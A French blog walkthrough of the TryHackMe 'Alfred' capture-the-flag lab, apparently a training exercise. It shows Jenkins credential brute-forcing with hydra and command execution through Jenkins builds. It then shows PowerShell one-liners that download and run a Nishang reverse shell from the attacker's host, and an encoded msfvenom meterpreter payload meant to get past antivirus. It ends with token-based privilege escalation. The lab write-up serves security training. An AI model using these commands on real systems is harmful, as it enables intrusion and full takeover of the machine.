Alfred - Advanced Exploitation TryHackMe
Aujourd'hui nous allons apprendre à exploiter jenkins pour obtenir un premier accès, puis nous allons effectuer une élévation de privilège via l'exploitation des tokens d'authentification Windows.
C'est parti !
Initial Access
Particularité ICMP désactivé
sudo nmap -sC -sV 10.10.159.231 -O -oN results-nmap.txt --script=vuln
ne trouve pas d'host
on tente avec le switch -Pn (plus lent car va tout considérer comme open)
nmap -sV -sC -oA nmap/alfred 10.10.230.14 -Pn
ou
sudo nmap 10.10.159.231 -oN results-nmap.txt -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-27 16:28 CEST
Nmap scan report for 10.10.159.231
Host is up (0.021s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE
80/tcp open http
3389/tcp open ms-wbt-server
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 612.95 seconds
login
On découvre jenkins sur le port 8080
Sur le port 80 le site nous donne une indication :
alfred@wayneenterprises.com
on va tenter le login alfred, reste à découvrir le mot de passe.
une fois sur 10.10.159.231
on test admin:admin
sur jenkins : (default is admin:password)
on peut aussi avec hydra :
hydra -L wordlist.txt -P wordlist.txt 10.10.90.206 -s 8080 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&form=%2F&Submit=Sign+in:loginError"
RCE
Une fois sur jenkins on trouve un endroit où il est possible d'executer des commandes.
notamment dans le Build !
et lorsque on regarde le console output du build, on voit que la commande est executée.
le résultat actuel est :
Running as SYSTEM
Building in workspace C:\Program Files (x86)\Jenkins\workspace\project
[project] $ cmd /c call C:\Users\bruce\AppData\Local\Temp\jenkins4227602217442961440.bat
C:\Program Files (x86)\Jenkins\workspace\project>whoami
alfred\bruce
C:\Program Files (x86)\Jenkins\workspace\project>exit 0
Finished: SUCCESS
du coup on va faire executer un powershell reverse grace à Nishang (le framework) :
d'abord on va lui faire télécharger notre script.
sur notre host à l'endroit où se trouve le script reverse-shell :
python3 -m http.server 80
et aussi on prepare un listener sur lesquelles on executera les commandes :
nc -lvnp 9000
et dans la commande à executer sur le serveur :
powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.31.167:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.31.167 -Port 9000
ainsi : jenkins va executer ce code : il va se connecter à notre serveur web et va telechacher le fichier Invoke-PowershellTcp.ps1, puis l'executer en reverse en appelant notre netcat sur le port 9000.
On obtient le shell
switch shell
Essayons d'avoir un meilleur shell(meterpreter) grâce à msfvenom
Pour faciliter l'escalation de privilège on va utiliser un shell meterpreter.
On prépare un reverse shell meterpreter en utilisant le payload suivant :
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
Cette commande permet de créer un payload reverse tcp encodé et sous architecture x86. L'encodage des payloads permet de contourner les analyses antivirus.
Après la création du payload télécharger le sur la machine de la même manière que précédemment :
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
--> powershell "(new-object system.net.webclient).downloadfile('http://10.11.31.167:8000/revshell7000.exe','rs7000.exe')"
cela va permettre de récupérer le fichier et de le stocker sur le serveur
Il faudra ensuite le lancer via une autre commande
ensuite en faisant executer un dir
on se rend compte que le programme est bien présent sur le disque du serveur
Started by user admin
Running as SYSTEM
Building in workspace C:\Program Files (x86)\Jenkins\workspace\project
[project] $ cmd /c call C:\Users\bruce\AppData\Local\Temp\jenkins1778623489196233382.bat
C:\Program Files (x86)\Jenkins\workspace\project>dir
Volume in drive C has no label.
Volume Serial Number is E033-3EDD
Directory of C:\Program Files (x86)\Jenkins\workspace\project
04/27/2021 06:13 PM <DIR> .
04/27/2021 06:13 PM <DIR> ..
04/27/2021 06:13 PM 73,802 rs7000.exe
1 File(s) 73,802 bytes
2 Dir(s) 20,525,465,600 bytes free
C:\Program Files (x86)\Jenkins\workspace\project>exit 0
Finished: SUCCESS
┌──(kali㉿vm-kali)-[~]
└─$ service postgresql start
┌──(kali㉿vm-kali)-[~]
└─$ msfconsole
Avant d'utiliser le programme, assurez vous que le handler (le program qui écoute) est lancé correctement sur metasploit :
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port run
Cet étape permet de s'assurer de recevoir les connexions entrantes en provenance de votre reverse shell. Une fois que le multi/handler est en écoute, lancez cette commande dans la config de build de Jenkins pour démarrer le reverse shell :
Start-Process "shell-name.exe"
--> powershell Start-Process "alfred.exe"
Cela va faire apparaître un shell meterpreter !
Arff !!! Cela ne fonctionne pas : (antivirus ? scan ?)
je test en stageless
powershell "(new-object system.net.webclient).downloadfile('http://10.11.31.167:8000/revshell8000stageless.exe','rs8000SL.exe')"
ne fonctionne pas
solution réalisée :
- réouvrir le shell normal (via le revershell powershell)
- executer notre exploit concu avec msfvenom
Directory: C:\Program Files (x86)\Jenkins\workspace\project
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 4/27/2021 6:35 PM 73802 rs7000.exe
-a--- 4/27/2021 8:28 PM 250368 rs8000SL.exe
PS C:\Program Files (x86)\Jenkins\workspace\project> powershell start-process rs8000SL.exe
Cela permet la connexion meterpreter
on peut ensuite récupérer des informations :
meterpreter > sysinfo
Computer : ALFRED
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
Windows utilise des tokens pour s'assurer que les comptes disposent des privilèges appropriés pour effectuer des actions particulières. Les tokens de compte sont attribués à un compte lorsque les utilisateurs se connectent ou sont authentifiés. Ceci est généralement effectué par LSASS.exe (considérez cela comme un processus d'authentification).
Ce token d'accès se compose de :
* SID utilisateur (identifiant de sécurité)
* SID du groupe
* privilèges
Des informations plus détaillées peuvent être trouvées ici.
Il existe deux types de token (jeton) d'accès :
Tokens d'accès primaire : ceux associés à un compte utilisateur qui sont générés à la connexion
Tokens d'emprunt d'identité : ils permettent à un processus particulier (ou thread dans un processus) d'accéder aux ressources en utilisant le jeton d'un autre processus (utilisateur/client)
Pour un token d'emprunt d'identité, il existe différents niveaux:
SecurityAnonymous : l'utilisateur/client actuel ne peut pas usurper l'identité d'un autre utilisateur/client
SecurityIdentification : l'utilisateur/client actuel peut obtenir l'identité et les privilèges d'un client, mais ne peut pas usurper l'identité du client
SecurityImpersonation : l'utilisateur/client actuel peut emprunter l'identité du contexte de sécurité du client sur le système local
SecurityDelegation : l'utilisateur/client actuel peut emprunter l'identité du contexte de sécurité du client sur un système distant où le contexte de sécurité est une structure de données qui contient les informations de sécurité pertinentes des utilisateurs.
Les privilèges d'un compte (qui sont soit accordés au compte lors de sa création, soit hérités d'un groupe) permettent à un utilisateur d'effectuer des actions particulières.
Voici les privilèges les plus souvent exploités :
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
Avec meterpreter :
getsystem
nous permet d'elever les privilèges mais pas suffisamment pour récupérer le root.txt
on va migrer vers le process services.exe qui est executé par NT AUTHORITY\SYSTEM qui est donc l'utilisateur Administrateur de la machine
ps
on repere le PID
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
396 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\smss.exe
524 516 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
572 564 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
580 516 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe
608 564 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
668 580 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\services.exe
676 580 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
684 580 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsm.exe
772 668 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
832 668 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
on migre vers 668
migrate 668
on recherche ensuite le fichier :
search -f root.txt
une fois retrouvé, on le lit
cat /windows/system32/config/root.txt
Ceci signe la fin de l'article, n'hésitez pas à partager, me faire part de vos commentaires, ou tout simplement me mettre un petit like : Tous vos commentaires sont lus !
Envie d'en apprendre encore plus ? Abonnez-vous en choisissant l'une des 3 formules (gratuite ou payante) et recevez directement par email nos articles dès leurs parutions. La formule payante vous donne droits à des articles Premium !